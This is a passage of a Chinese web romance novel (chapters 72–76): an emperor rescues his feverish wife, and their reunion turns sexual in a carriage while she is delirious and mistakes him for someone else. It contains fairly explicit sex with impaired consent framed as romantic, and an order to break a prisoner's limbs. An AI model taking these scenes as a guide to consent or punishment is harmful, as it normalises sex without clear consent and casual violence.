清晨露水湿重,火把上的火焰反复跳跃。但是偷偷看着,沈若辞就像能感受到火焰巨大的温暖。 “继续找,一个角落也不能放过,直到找到人为止!” 她的脑子已经麻木道无法思考,可在听到这个人说话时,她脑子霎时冒出一个声音—— 那是元栩,是他在说话。 他来了,他终于来找她了。 可沈若辞已经耗光了力气,草丛外,堤岸上一行人的脚步声越来越近,一人高的野草丛完全将她淹没,她没力气出声,更没有力气走出这里。 就在人群离她越来越近,从她身边走过的时候,她看到一双双布满泥尘的靴子从眼前过去,她迷茫、无措,不敢确定这些人是敌是友。直到一双熟悉的宫靴,黑缎面绣着象征身份的蟒纹,她在那个瞬间用尽全身的力气抬手,准确无误地抓住那人的小腿,就再也不放开了。 元栩的焦虑与不安已积攒到极致,在被什么东西绊住小腿的时候,他奋力、急躁地往地面一蹬,想挣脱开障碍,却不想被缠得更紧。 他已然失去了所有耐性,气急败坏地回头一掌挥开草丛—— 杂草丛中,一对湿漉漉的眸子隐现,在晨露中如宝石般,泛着润泽、璨若寒星的光,在与他对视的刹那,眸中有粼粼波光漾起,天光乍泄。 作者有话说:终于写到这里,庆祝沿沿成功反杀[烟花] 下章就是小夫妻重逢后的酸酸甜甜 第73章 他胸腔一震, 前一刻所有侵蚀着他的不安与焦虑在此时烟消云散,在他心头猛烈交织着的是失而复得,如获至宝的欣喜若狂。 这几日来脑中紧绷的弦在此刻松懈下来, 他猛然闭了闭眼睛,复又睁开, 以此来确认眼前这一幕是真实的。 沈若辞在他低头下来的那一瞬间,眼泪就掉了下来, 她的手掌还在收紧,再收紧, 她怕放开了,对方就要走了。 元栩忍下胸中激荡的情绪, 俯身半跪在地上, 揽住她的背, 轻轻地安抚她, 而后单手穿过她僵硬的腿弯,毫不费力地将人横抱起来。 “找到了。”极轻的一声。 他朝众人宣布道, 明明是足以振奋人心的消息, 他却只敢轻轻地说出来,生怕一大声,会将眼前亲手捧着的美梦击碎。 “快叫马车过来。”他抱着怀中人,胸腔情绪仍激荡着, 脚下步子不停。他连名字都不敢叫她,生怕叫出来了,她就要不见了。 沈若辞在靠上他怀里的那一刻, 终于敢彻底放松身子。这一放松,就直接昏睡了过去。 等她醒来的时候,已经是在马车里, 周身暖融融地裹在被褥里。 在她睁开的眼睛的瞬间,身边人像是一直等着她醒来一般随时做好了准备,强硬地喂她吃下几口温热的燕窝。 恰好沈若辞确实也感觉到饥饿感,她极其配合地,一口接着一口,任他喂着。而她的眼神,像黏在对方脸上一般,黏黏稠稠的,从第一眼开始就再没有移开过。 等他终于放下碗,又贴心地替她擦了擦嘴。在长久的沉默之后,沈若辞问出了一直积压在心里的问题,“这两年来,你怎么、都不来看我,不来……娶我?” 元栩耐心地听她说完,抬手覆上她的额头,原来烧得滚烫,顿时心知肚明地收回手,他挑眉,“怎么娶?” 沈若辞一口怨气冲到喉间,可说出的话依旧软绵绵的,“去相府跟我阿爹提亲啊。”她娇嗔道,“这都不懂吗,笨。”难不成要她跟他私奔?她好歹也是堂堂相府千金,就算再喜欢一个人,也断不可能做出这种有辱门风的事来。 “还要我教你。”她生气地别过身去,心想他到底有没有用心啊,到底是不是真心的啊。 元栩见她生气的样子格外的娇俏可人,忍不住低头亲了亲她的唇。 沈若辞耳尖瞬间染上红意,伸出一只手软绵绵地推他,“你怎么可以这样!啊……” 经过这么一推,沈若辞这才发现自己身上不着寸缕,空无一物。 她舌头像是被打结了,怎么也说不出后边那几个字,“我怎么,我怎么!” 元栩波澜不惊地帮她补上,“怎么没穿衣裳是吧?” 她点点头,一双眸子盛满了惊慌。元栩这才回道,“我给你脱的。” 沈若辞震怒,气得满脸通红,最后也只憋出几个字,“你个登徒子!” 元栩拉过她的手,将方才从她身上剥下来的衣裳扯来一角塞进她的掌心,“你自己看看,这衣裳不脱了,还能穿着不成?” 他方才脱了自己的衣裳,用体温给她取暖。刚上马车那会,沈若辞完全昏迷过去,浑身冰冷却半点也不发抖,元栩吓得呼吸都快要停止了。 他快速剥下她身上全部的衣裳,然后将人裹进干燥的被褥里,很快发现这做法根本不行,太慢了。他当机立断脱了自己衣裳,与她紧紧缠绕,将自己的温度传递到她身上。 显然这个办法要行之有效得多,不出片刻沈若辞身上开始有了温度,到现在已完全没有冷意了。 摸着冰凉的衣角,她浑身轻轻一颤。角落里那堆属于她的衣物全都湿透,没有一处干的地方。沈若辞自知理亏,她知道穿着湿漉漉的衣裳很难受了,况且她才刚做过一个梦,梦里她落水了,浑身湿透冷得瑟瑟发抖。 这事算是翻页了,但是他刚才亲她的事,还没说清楚了,“湿衣裳是不能穿了。但是你刚才亲……轻薄我的事,还没说清楚呢!” 听她揪着那点小事不放,元栩心想,大惊小怪什么,她身上哪一处,他没亲过? 但见她烧得双颊通红,眼神迷离,嗓音都软软糯糯的,不由得想继续逗她,“怎么就不可以了,我们不是要谈婚论嫁了吗,日后还要睡在一张床上生孩子的,就这么浅浅的亲一口,有什么干系?” 不等她辩驳,他忽地伸手,向上握了握她的手掌,又探进被窝里摸了摸她的足尖,感受到这两处仍有些冰凉,他干脆伸手进被窝里,在沈若辞惊愕的目光中,除去自己身上最后那点屏障。 他躺回去,手心里攥着她的两只脚,慢慢地往自己身上带。 沈若辞的脚被放在他的肚皮上,能感受到脚底传来的一阵阵滚烫的灼热感。 元栩心无旁骛地捂着她的脚给她取暖,揉了半天,足尖仍是冰凉的。 他望向沈若辞,看向她那对湿漉漉的眸子,眸子里轻轻地荡漾着如秋水般的澄澈。 “你想不想?”元栩倾身覆过去,在她耳边吐出几个字,呼吸都打在她耳廓上,闹得她心痒痒的。 沈若辞下意识往后缩了缩脖子,茫然道,“想什么?” 元栩便当她是同意了。 刚才脚搁在他腰间取暖时,沈若辞就隐隐感觉不妙。但当此时杵在她身上时,那般的凶|悍的感觉,便再不能被忽视了。 沈若辞不由得倒吸一口凉气,惊得她差点跳起来,而元栩却箍住她,不给她乱动,哄着她,“这办法暖得更快,你会喜欢的。” 既然怎么也捂不暖,不如换种方式,想必能很快温暖起来。 许是内心长时间的不安与焦躁急需得到安抚,等到花枝颤颤,淋淋漓漓完全适应之时,元栩便不再束手束脚,行事全凭性子。 沈若辞恍若被置于风口浪尖上,起起伏伏,时而被逐至浪尖,时而又被迫下落。 结束的时候,人像刚从水里捞出来一般,半天才缓过气来。元栩轻|抚着她的背,给她顺气。 她抽抽噎噎,等恢复一点力气后,杏眸含着泪珠,磕磕巴巴地控诉他。 元栩听了半天,越听越糊涂,怎么听她都不像是在骂他,更像是在夸他。 这话听得人心花怒放,元栩不由得张开双臂向前圈住她纤细的身子,颠了颠她身前雪|峰,回敬道,“沿沿如斯可人,我总归不能是个绣花枕头,至少得有点过人之处,方能配得上沿沿姿容无双。” 沈若辞垂头见属于自己身体的部位,在他手上力道变化下颤了几颤,发出令人脸红的声响。 她大惊失色,这里……何时长成这般圆润! 狭窄的车厢内一点点声音都会被无形放大,沈若辞终于忍无可忍,握住他两个手腕制止道,“不许再这么做!” “哦。”元栩不以为意地松手,从容自如地落到她的腰处。 沈若辞没想到对方真的好不要脸。 元栩仍在吻她,吻得珍重而又小心翼翼,沈若辞胸膛起伏不止。 太快了,太突然了。 她头昏脑涨的,不知道为什么愿意被他得逞。所幸她没有吃苦,反而得到了前所未有的体验,说那种快乐,铺天盖地也不为过。 她说出心中的疑惑,“我看医书上说,女子初|次都会很艰难,而且基本感受不到快乐。可方才,我明明、明明就……” 她说不下去了,不完全出于羞窘,更多的是因为初经人事后,对此事的认知仍极为浅薄,无法精准地表达出自己的感受。 元栩仍与她温存互动,声音缱绻,“感受到了灭|顶的欢愉,是不是?” 沈若辞在他面前被衬得很没有见识一般,她惊讶于对方一针见血地指出她身体的感受,目瞪口呆,眼神中既有难以置信,又有崇拜与敬佩。 但这些情绪只是暂时的,因为在她想明白前因后果,想明白他为何动作娴熟到能轻而易举调动她的感官情绪后,脸上的愉悦瞬间被失落占据。 是她太单纯了,只有她才是第一次,他分明是有经验的。 沈若辞正自我排解中,她想清楚了,有经验就有经验,那是过去了,如今与她在一起了,日后她不允许他再有别人。 “有一事,我必须和你说清楚,免得日后引起不必要的麻烦。”她说得郑重,像要起誓那般,“你若是想继续跟我在一块,日后可不能碰其他女人了,只能和我一个。” 元栩震惊,他的唇停在她的耳垂处,僵硬着。明明在后宫里,他听到要他雨露均沾的话,最多的是从沈若辞口中说出来的,次数甚至不亚于太后。 他并不喜欢沈若辞这种毫无原则的“大度”,但是从没有深究过原因。只以为不同女子对丈夫的要求不同,有人只接受一夫一妻,也有女人能接受和别人共侍一夫。 他没想过沈若辞属于哪一种女人,可如今话亲口从她口中说出来的,她分明是属于第一种。 但为何,她却要对他,对她的丈夫说,要雨露均沾? 元栩突然那意识到自己是一个笑话。 作者有话说:大型双标—辞 很快被老婆哄好—栩 改了估计10版,一直过不了,没有偷懒[笑哭] 第74章 从一开始沈若辞胡言乱语的时候, 元栩察觉到对方发烧时就很清楚,她又像以往喝醉那般,把他当成她曾经的心上人了。 从前他并不介意冒用那人的身份, 成为他的替身,可此时此刻, 他清醒地明白沈若辞对她的心上人始终是与众不同的,这点让他心中嫉妒油然而生, 他嫉妒得快要发疯了。 他发出一声短促的笑声,带着嘲弄。 那人, 究竟是什么妖魔鬼怪,什么缠人妖精, 值得她这些年都心心念念, 念念不忘? 他倒是要趁此机会听听她是如何解释把自己往外推的做法, 元栩咬牙切齿问道, “沿沿觉得,一个女人在什么情况下, 会心甘情愿要求她的丈夫做到雨露均沾, 去别的女人那里?” 沈若听得瞪大了眼珠子,“哪里会有这种女人,上赶着把自己的丈夫往外推。” 元栩听了更来气,后槽牙都要咬碎, 他阴阳怪气,意有所指,“就是有!” “好了好了, 你气什么。”眼见对方莫名其妙焦躁起来,沈若辞不想破坏气氛,伸出软绵绵的手掌, 一下一下地抚在他的胸膛上,给他顺气。眼见他气消了一点,又捧着他的脸,珍视万分地轻吻起来,边吻还边夸他,“谁家的郎君,长得这般好看。”在她温言软语攻势下,元栩差点都要忘记自己因何生气了。 就算到了这个关头,元栩仍记得一开始她想要自己给她一个承诺,他伸手抱住她,同样郑重其事,“不会有别人,以前是,将来也是,只能有你一个。” 得到想要的答案,沈若辞心头甜得不得了,但她更想不通他为何要生气,“既然你愿意,为什么要不开心?” “我开心啊。”此时此刻他确实没有不开心,他心中无比庆幸,庆幸自己只有过她一个女人。若是当初真有要其他女人的心思,或是听她的话做到雨露均沾,那他日后就算是上刀山下火海,做得再多,也彻底失去了与她共度一生的机会。 元栩突然发现,男人贞洁也需要珍之重之。 幸好他做到了,为此他更加自豪,“从今往后,我会一直为沿沿守身如玉。” 沈若辞现在好快乐,可想起阿爹那一关,她的神色浮现出几分担忧,但很快又被坚定驱散,“你来提亲,我阿爹大概率会拒绝你,不过你放心好了,我必定会跟你站在一起说服我爹。” 元栩故意逗她。“你爹要是敢不同意,我就敢把你抢回家去。” 沈若辞彻底不想理他了,她晕晕沉沉的,眼皮子像是灌了铅,很快就合上去失去了意识。 元栩给她盖好被子,问出了他方才一直想问,又不敢问出口的那句话—— 你好好看看,你眼中的我,究竟是谁。 可能由于情绪起伏过大,沈若辞睡了一会之后,就又醒过来了。 车内二人正你侬我侬,全然不知身处何处。等外边有人敲了敲马车门,轻声提醒前边就是驿站的时候,沈若辞才如梦初醒,惊觉自己竟在马车上与元栩胡闹。 她将自己藏在被褥中,心想原来自己这么大胆,接二连三做下这么多出格的事情。 元栩则一脸餍足地起身穿衣,沈若辞惊讶于他的淡然,内心隐隐有些失落之时,见他穿好衣裳后,就拿出被褥覆在她身上,一层接着一层,将她裹得严严实实。 临了又拿出他自己的披风,裹在被褥外边,最后将披风宽大的帽子罩在她脑袋上,方才俯下身子,在她唇上亲了一口,“准备下车。” 沈若辞没想到他还是个会照顾人了,一系列动作下来,她的心暖得都快要融化了。 元栩见她双颊通红,笑意盈盈地望着他,也没多想,只以为是烧糊涂了。 等下了马车,岳常安等人早已在驿站等候,他周全地命人在门口给帝后二人打好伞,生怕皇后娘娘被风吹着。 “担心点,快给咱爷和夫人打好伞,风大,小心着凉。” 沈若辞被里三层外三层裹得严严实实,头顶还有帽子,其实一点也不冷。 袁子逸最后也没逃过追捕。 沈若辞被找到的时候,袁子逸是不知情的,他还在四处寻找沈若辞。直到侍卫们将他团团围住,他才明白自己计划终究是落空了,他想带走沈若辞的美梦最终破碎。他内心被铺天盖地的绝望笼罩,几乎没有挣扎就束手就擒。 此时被侍卫押回驿站,刚好碰上元栩从马车上下来,他被侍卫推到一旁,给皇帝让路。 袁子逸脚上已被戴上镣铐,他站在路旁望过去,如他所料,沈若辞果然回到皇帝身边。 她此时已在别的男人怀中,明明前几天她已经完完全全属于他的了。他们只差一步就能逃出生天,就可以过上神仙眷侣的生活。偏偏就差这一步,当真是命运捉弄,上天不公啊。 他叹了口气,再度望过去——沈若辞双眸含情,面若桃花,娇滴滴地倚在那人怀中,甚至连眼神都属于他的,不见一分与他在一起时的冷静自持。 她真的是这样的人吗? 他与沈若辞认识十几年,自问才是最了解她性子的人,她素来清净冷淡,何曾表露出这般讨好的神色。 为何……她情愿讨好别人,都不愿意跟他呢? 袁子逸眼神涣散,漫无目的地在她身上逡巡,见那厚重的被褥中露出一点莹白的足尖,白生生的,比她身上还要白,还要亮,亮得晃眼。 她是如何做到,一转身就扑入另一个男人怀中的呢? 沈若辞感受到一道目光一直盯着自己,她下意识望过去,便与袁子逸打了个照面。 袁子逸在触及她眼神的瞬间,脱口而出,“小辞……” 沈若辞朝他微微一笑,礼貌地与他打招呼,“子逸哥哥。” 打完招呼,她便将眼神收回,一个抬头,就迎来元栩探究的目光,就这么盯着她,路也不看了。 沈若辞知道他有小性子,可谁家被惯大的孩子没有点小脾气呢? 明显对方是误会她跟袁子逸的关系了,沈若辞示意他低下头来,然后在他的耳边低声澄清道,“他只是我的一位邻居。” “邻居啊……”这个解释,元栩似乎很能接受,他点点头,可转头就高声朝人喊道,“把那位邻居带下去。” 沈若辞“……” 有必要这么刻意吗 “我们快进去吧。”她将头靠在元栩怀里,故意暗暗使力顶着他的胸膛。 元栩佯装不知,抱着她大步往屋里去。 屋中收拾得干净妥当,地上铺着柔软舒适的毛毯,床上悬着的帐幔用金丝线勾出大朵的牡丹,雍容华丽,博山炉中染着龙涎香,轻烟袅袅。 沈若辞被放在床上,帐幔落下来,掩住了惹眼的容貌。 锦云将大夫请进来,将人引到床边,“赵大夫,这位便是我家夫人。” 那赵大夫约莫不惑之年,他行医多年,医术精湛,在当地早已打出自己的名声。由于每日医馆里病人络绎不绝,他看都看不过来,所以并不轻易出诊。 今日城中县令亲自去医馆请他,赵大夫受宠若惊,背着药箱就匆匆赶来驿站。 他虽心里早有准备,今日要看的病人绝对是非富即贵,可当他一脚踏入这屋中时,仍被眼前奢华的物件摆设震撼到。可他也只敢浅浅看两眼,便跟着那引路的女子来到床边。 床上帐幔低垂,自缝隙中伸出一只年轻女子光滑白皙的手腕。 帐幔中传出年轻男子威严的声音,“有劳大夫了。” 赵大夫莫名心惊,他定了定神,打起十二分精神,细心询问病人的基本情况,这才伸手号脉。认真看过脉象后,赵大夫来到圆桌旁准备写药方。 元栩从床上下来,径直走到大夫身边,“赵大夫,我家夫人可有大碍?” 赵大夫见这年轻男子面容俊朗,周身贵气逼人,不怒自威,不由得朝他弯腰拱手,“这位贵人,从夫人脉象上看,旧疾未愈,日后仍需继续调养身子。眼下夫人的症状是风寒引起的发热,老夫这就给夫人开几副退热药,保证药到病除。” 元栩微微颔首。回到床边时,锦云正准备为沈若辞擦脸,元栩接过她手中温热的布巾,从沈若辞的额头开始,一点点往下,细致地将脸擦了一遍。 沈若辞心不在焉的被他擦着脸,一双黑白分明的眸子看看元栩,又望望锦云,欲言又止。 元栩问,“有事?” 沈若辞红着脸,支支吾吾说道,“我想洗一下身子。”方才马车上,他弄了好多进去,又黏又绸。虽然当时简单清理了一下,勉强还算干净。但路上又出来一些,现在有条件,就不能将就了。 明明已经做了几个月的夫妻,此时还为这点司空见惯的小事害羞、踟蹰,元栩微不可察地抿唇笑了一下,道了声“好”,便叫锦云来给她擦身子。 这个木头、呆子! 沈若辞气得牙痒痒的,他怎么能让第一次见面的人,哪怕是下人,来给她擦身子呢,这怎么好意思呢! 沈若辞心中不由得来气,她直截了当,“你是傻瓜吗?好蠢啊。” 作者有话说:上一章改到我崩溃,先看着一章啦,我努努力,尽快放出来你们可以看。 还有,上一章要看!!毕竟、毕竟……咳咳 第75章 锦云在一旁张了张嘴, 又赶紧闭上。 元栩轻咳一声,转头朝锦云说道,“锦云出来一下。” 锦云跟着元栩来到门口, 她恭顺地垂着头,听皇帝低声吩咐道, “眼下皇后凤体有恙,因为发热脑子烧糊涂了, 她说什么你听着就好,不要去纠正她, 更不要提及之前的事。” “是。”锦云心中了然,定会更加周全。 元栩又道, “进去吧, 伺候皇后沐浴。” 等锦云进屋后, 元栩便叫来岳常安, “上次让你们去查盛京那些个纨绔的事,办得怎么样了?” 岳长安迟疑了一瞬才反应过来皇帝说的是何事, 忙道, “这些人的名单跟画像都已找齐,眼下正在整理中,想必等皇上返回盛京后,就能整理出来了, 届时呈给您过目。” 元栩微微颔首,转身回到屋里。 锦云已将沐浴的一应物品准备齐全。元栩直接到床上将沈若辞抱到浴间,一层一层除去她身上的被褥, 等完全褪净后,他拿眼指了指整桶热腾腾的水,道, “好啦,可以进去洗了。” 沈若辞却不动,她站着,笑吟吟地靠近他,而后张开双臂抱住他。 元栩一怔,明显还未适应她如此娇俏的一面,待他欲伸手回抱她时,她却故意笑着从他怀里溜走,转身进入浴桶中。 沈若辞拿起搭在浴桶边缘的布巾,打湿后从脸上开始,一点一点地擦拭身子。 浴桶四周笼罩着白茫茫的水雾,元栩仍站在原地,这般望过去,她恍若幻境中的仙子,一颦一笑皆摄人心魄。方才她抱上来那一眼,艳丽到极致,此时远离他,又是纤尘不染,不容亵渎。 云雾缥缈缭绕之中,那仙子回头,笑看他,“你还不出去吗?” 元栩确实不敢久留。他身上,有很多对她专有的阴暗、恶劣的想法,其实总是被特意压抑着,他未曾敢任其放纵。 连他自己都不敢细想,若真有那么一天,她要为她的心上人背叛他,甚至……离开他。那时他该有多疯狂,疯狂到不受控制地对她做出可怕的事来。 这情景单单想到就难受得令人窒息。 由于人还在病中,沈若辞洗了一会就很快出来了。 出来后元栩陪她一起用了饭,又亲眼看着她把药喝了,这才坐下休息。 见他坐着不动,没有要去沐浴的意思。沈若辞朝他靠过去,并拢起自己的双臂,将交叠的两只手一起蹭到元栩眼前,轻声道,“我洗干净了,你也要洗干净哦,今晚才能和我……” 她越说脸越红,原本以为对方会和自己一般热切,哪知元栩用一种奇怪的、不认同的眼神看她,令她将话留在唇边,没有继续说下去。 在沈若辞的认知里,二人正是柔情蜜意,蜜里调油之时,必然想时时刻刻腻在一起。 元栩虽爱极了她未曾对他展露出来这一面,但到底这些爱都是她给另一个男人,他无法真的做到心无芥蒂地当这个替身。 念及她眼下正病着,又刚刚经历一场死里逃生的恐慌,不宜再受刺激,他选择忍让。 何况这种状态与以往每次醉酒后一样,酒醒了她就什么都记不起来了。等烧退了想必也是如此,又何必白费力气去纠正这场短暂的错误呢? 他只冷冷淡淡地劝慰她,“沿沿如今尚且还在病中,不宜纵欲。我还有点事要去办,你好好睡一觉,等我回来。” 自己满腔柔情蜜意就换来他这么冷冰冰一句“不宜纵欲”,沈若辞目瞪口呆,她的心上人当面拒绝与她亲近,难不成是因她不够漂亮,不够惹眼? 元栩走后,沈若辞闷闷不乐,她从床上下来,光脚踩在暖和的毛毯上,直奔梳妆台去。她怀疑自己因为生病变丑了,对着镜子将自己的容貌看了又看,“锦云,你家主人,是不是嫌我不够好看?” 她摸摸自己的脸,又向锦云展示了一下自己的身段,明明夸她漂亮的人很多,爱慕她的男子更多。她曾因此有过困扰,才从罗医娘那里学得一手易容术,以此来将自己的容貌压下去,好挡去那些狂蜂浪蝶。 锦云瞧皇后娘娘虽犹在病中,但眉眼较以前在宫中时更为鲜活灵动,神态尤为娇憨可人,她心中愈发觉得怜爱,由衷地回答,“肯定不是,爷只是顾及您的身子,怕您劳累。” “真是这样吗?”沈若辞半信半疑,内心敏锐地察觉对方还是有些冷淡。 锦云只当她是病中比较敏感,“爷只是面冷心热,他其实很爱您的,就是不轻易展露出来。” 对于帝后二人的感情,别人不清楚一回事,锦云还能不知道吗? 皇后娘娘在后宫里占尽了恩宠,绫罗绸缎、奇珍异品三天两头如流水一般送到雪辉宫里,只为逗她开心。只不过皇后娘娘本就出身显贵,不放在心上罢了。 但那夜夜几回的恩宠,可造不得假。皇帝如何疼这位皇后的,她是心知肚明的。自打入宫后,皇后娘娘身上的痕迹就没断过,那一身暧昧的痕迹,饶是她见惯了,每回想起来都避免不了脸红心跳。 沈若辞仍有些迟疑,“可是我好不容易才鼓起勇气跟他说那些话,他竟然说我纵欲。” 明明就没有,她就只尝过这么一次滋味,他就把她想得那般欲求不满一样。 “您若不信,奴婢偷偷告诉您,您需跟皇上撒撒娇,他铁定、铁定……” 锦云怕皇帝怪罪,也不敢说得太明白。 沈若辞不知道锦云说的是否可行,但总归是要试试才知道,她笑盈盈地请锦云帮她梳个好看的发髻,再换身好看的衣裳。 锦云一一帮她完成,可等到换衣裳的时候,锦云却被吓到了。 “您这痕迹……”锦云倏地捂住了嘴。 沈若辞垂下头看着自己身上暧昧的痕迹,红着脸解释道,“是他方才留下的,我们在马车上有过一回。这些看着可怖,实际上并不怎么疼。” 锦云眼尖,一眼瞧出来那些痕迹并非全是今日留下的,有些颜色已经淡了,有些仍鲜红,颜色淡的那些,估摸是昨天甚至前天留下来的,而皇上,是今早才找到皇后娘娘的…… 锦云倒吸一口凉气,心惊胆颤,不敢再往下想。 那日在将军府是她当值的时候弄丢了皇后娘娘,若是皇后娘娘真遭遇了什么坏事,她万死难辞其咎。 沈若辞很快发现锦云脸色骤变,不由得拉住她的手,问道,“发生什么事?” 锦云欲言又止,她想起皇上方才交代过她,不要在皇后娘娘面前乱说话,便不敢去问她那些痕迹是谁留下的。 她摇摇头,勉强挤出一丝笑意,搪塞道,“没什么,奴婢只是没见过这些,有点吃惊罢了。” 沈若辞也是,她从前都不知道,男女之间行事还会弄出一身痕迹来。 袁子逸被关在离沈若辞最远的房间里,元栩从沈若辞那里出来后,就径直去到袁子逸房里。 袁子逸见元栩进来,下意识别过头去,他虽已成为阶下囚,但也绝不会屈服在对方淫威下。 元栩自然知道他内心所想,只轻飘飘地开口,“大费周章,白折腾一场,最后什么也没得到,反倒把自己的性命折腾丢了,后悔不?” 袁子逸确实什么也没有得到。他不甘心,更不会让对方知道,他忽地开口反问道,“你没看到她身上那些痕迹吗?你有想过,那些痕迹,并不全是你留下的吗”说出这番话,袁子逸心中无比畅快,他一瞬不瞬地看着元栩,生怕错过他脸色任何细微的表情。 袁子逸说的这一点,元栩一早在马车上就看过了。他与沈若辞分开已有四天,若是按往常的经验,三天内,她身上的痕迹必会消失殆尽。可今早在马车里,他清清楚楚在她身上看到一身的痕迹,按时间推算,确实不可能是他留下的,更像是才新添。 他并未如袁子逸想象中的怒不可遏,相反,他笑了,笑得袁子逸心慌。 “你是完全一点不为她想啊。” 元栩紧接着点破他那点心思,“你想害死她。” 袁子逸向来自诩是最爱沈若辞的人,如今却被戳破内心深处最恶劣的一面,他面如死灰,强装镇定用嘲讽对方来掩饰自己的心虚,“你敢说,你能完全不介意?” 元栩承认,“我当然介意。” 袁子逸如愿以偿地笑了,自己那么爱沈若辞,连他都会介意,何况其他男人,哪里有不介意的道理。 元栩看他一脸小人得志的丑态,慢条斯理与他说道,“朕虽介意,但朕不会为难她,也无需在她面前表现出介意。毕竟,朕的介意只针对你,与她无关。” 袁子逸一怔,旋即心中了然,他大笑道,“你不是不介意,你是根本不爱她!” 只有不爱她,才能做到不介意她跟别的男人欢好。他爱沈若辞,所以他才会无法接受对方的背叛。 元栩从不在任何人前表露对她的情意,但不代表别人可以借此来妄议他,质疑他。他坐在袁子逸面前的圈椅上,整个人微微后仰靠着椅背,金质玉相,姿态何其风流恣意,只不过口中说出来的话却是让人眼前一黑,“朕现在就搞死你。” 袁子逸并不觉得死有多可怕,他早已麻木。从今早被抓开始,他便预料到自己的结局。此时,他平静地望向那九五之尊,语气寻常且平缓,“她如今已不贞不洁,你杀了我,再杀了她,我们就可以死在一起,做一对亡命鸳鸯,永永远远在一起。” 第76章 他像是在证明自己的决心, “我可以为她死,为了她,我什么也不在乎, 包括我的性命。” 元栩拍掌赞道,“好一番惊天地泣鬼神的感人肺腑之言, 可惜感动的只有你自己。” 袁子逸比他想象中的还要疯,比疯狗还要可怕。这样的人, 已经不值得他多费口舌了,“放心, 你迟早要死,但不要拉上她, 她并不愿意。” 说话间, 元栩站起来, 高大的身影挡住光线, 在袁子逸面前投下一片阴影。 袁子逸被置于阴影中,莫名感受到一阵压迫感, 而后眼前的男人嗓音低沉, 一字一句,铿锵有力,“她合该长命百岁,与朕儿孙满堂, 生死同穴。” 一想到元栩口中的话将成为现实,袁子逸目眦欲裂。为何到最后,还是只有他输, 就因为对方是位高权重的皇帝? 元栩看出他眼中的不甘,他不妨让袁子逸死得更心服口服,“你不过是她的一个邻居哥哥, 你心里不清楚吗?” “当初你趁沿沿生病的时候,冒用她心上人身份骗她的事——” 元栩其实早在心里想清楚了,当初袁子逸能与沈若辞走到一起,大概率也是趁她记忆错乱之时,冒用她那位心上人的身份,以此来骗取沈若辞的爱慕。 而今他借着二人那点虚情假意屡次挑衅,元栩自然也不会放在心上,他连沈若辞满心满眼都是他的那个心上人,都曾不放在心上,他会畏惧袁子逸这个冒牌货不成? 袁子逸明显很意外皇帝连这件事都一清二楚,他猛地抬头,眼神中全是难以置信。 元栩就喜欢看他吃瘪的表情,很明显他猜对了,“你想问朕是如何知道的是吧?其实很简单,如果我就是沿沿的心上人的话,一切事情是不是都解释得通了?” 袁子逸颓然,浑身仿佛被抽干了力气,这不可能是真的,不可能! 元栩并没有放过他的意思,“别急着认输,属于你的战斗才刚开始。” 他朗声吩咐,“打断他的手,再打断他的腿,看他还如何嘴硬。”他不必亲自动手,几句话交代下去,就有人替他执行。 因袁子逸一己私欲做出此等蠢事来,这些侍卫连续几日来不眠不休,身子已极限透支。此时终于抓到罪魁祸首,不好好发泄一下心中的怒气就对不起这几日的奔波劳累。 房间里开始传来男子低沉的叫喊声,起初尚且压抑着,到后边就开始是不连贯的、凄厉惨叫声。 袁子逸很快被捂上嘴,发不出半点声音来。 夜里,元栩回到房中的时候,沈若辞已经已睡过一觉,刚刚醒来,看起来精神还不错。 二人一起吃了点东西,沈若辞又喝了药,此时人虽在床上,却没有想睡觉的意思。 沈若辞看元栩依旧冷淡,她主动靠上去,睡到他的怀里,瓮声瓮气道,“你是不是有什么顾虑?” 元栩长指微曲,摩挲着她的耳垂,漫不经心地问道,“为何这般问?” “我觉得你对我有些冷淡。” 元栩道,“沿沿想多了,没有的事。” 他仍捏着她的耳垂,明明动作很轻缓,沈若辞莫名觉得耳朵发红发热。 “真的吗?你看起来没有我喜欢你,那么喜欢我。你都不愿意和我亲近……” 元栩看她失落的模样,忍不住笑了。他的手掌轻抚着她的背,笑起来胸腔一震一震的,“我只是怕你传染把病气过给我。” “这样啊。”沈若辞恍然大悟,她瞪着一双杏眼,双手飞快地捂住自己的唇,心中满是愧疚,她怎么就没想到这一点呢? 真该死,她竟然只顾自己快乐,不管他的处境。 沈若辞仍捂着自己的嘴,她上半身已离他远远的了,一扭头就想从他身上起来,哪知元栩却忽然按住她的腰。 苦恼道,“怎么办呢,我好像又反悔了。” 沈若辞被他掐着腰,压根没力气起来。元栩宽厚的手掌沿着她细腰往下,力道时轻时重,时快时缓,收放间动作颇为娴熟。他清冽的气息开始变得混种,扑洒在沈若辞耳廓,“沿沿成功勾引到我了。” 沈若辞被他作弄得面红耳赤,绷着脸问他,“你不怕我过病气给你了?” 元栩当即摆出一副破罐子破摔的姿态,“不怕。大不了明日跟沿沿一起吃药。” 隔天一早,元栩如愿以偿跟沈若辞一起生病了。起床后,就喊岳常安煮多一服药,他也要喝。 沈若辞静静地坐在贵妃榻上看着他,心中满是疑惑不解,“皇上好端端的,怎么就病了呢?” 元栩此时头晕脑胀,躺在床上奄奄一息地望着那位云淡风轻问他为何生病的始作俑者,拿不出半点力气来治她。 “皇上,药好了。” 岳常安走在前边,锦云端着药跟在他身后。等来到床榻边,岳常安抬手将垂下来的半边帐幔一并勾上去,朝锦云招手示意,而后接过她手中的药递给皇帝。 见元栩仰起头将药一饮而尽,沈若辞微微蹙起眉头,“皇上是怎么病的,怎么不找大夫来看看,就随意吃臣妾的药,能治好吗?” 元栩搁下碗,“没事的,朕吃这个药就行。” 沈若辞不敢苟同,“所谓对症下药,就是不同的病症要用不同的药。臣妾是因为落水着凉,又吹了风引起的风寒发热。皇上没有臣妾这些经历,况且男女有别,恐怕不是同个病症,还是叫大夫重新来看看的好。” “不、必、了。”元栩几个字说得咬牙切齿,他没有一刻像此时这般,想要过去捂住沈若辞的嘴。这病是谁传染给他的,她没有自觉吗? 每次都是这样,自己亲过了,睡爽了,舒服到了,醒来的时候就将一切忘记得一干二净。 她昨夜有多勾人,沈若辞心里没数吗?勾得他差点死在她床上。 元栩这回可谓是元气大伤,连着四天没有好好休息,昨夜又没收住,放纵了几回,今早报应就追着他来了。像他这种平时身强体壮,几乎不怎么生病的人,久久病上一次,总要来得比普通人更为凶险。 反观沈若辞这种病秧子,今早起来烧就退了,人也清醒了,能坐在那里笑话人了。 可恶至极。 沈若辞就没见过这般固执的人,身体是他自己的,他不爱惜就算了,她才懒得理他。 可能以为昨日发热带来的后遗症,此时她感觉自己浑身酸软,特别是腰,发酸发软,整个人都懒懒的。 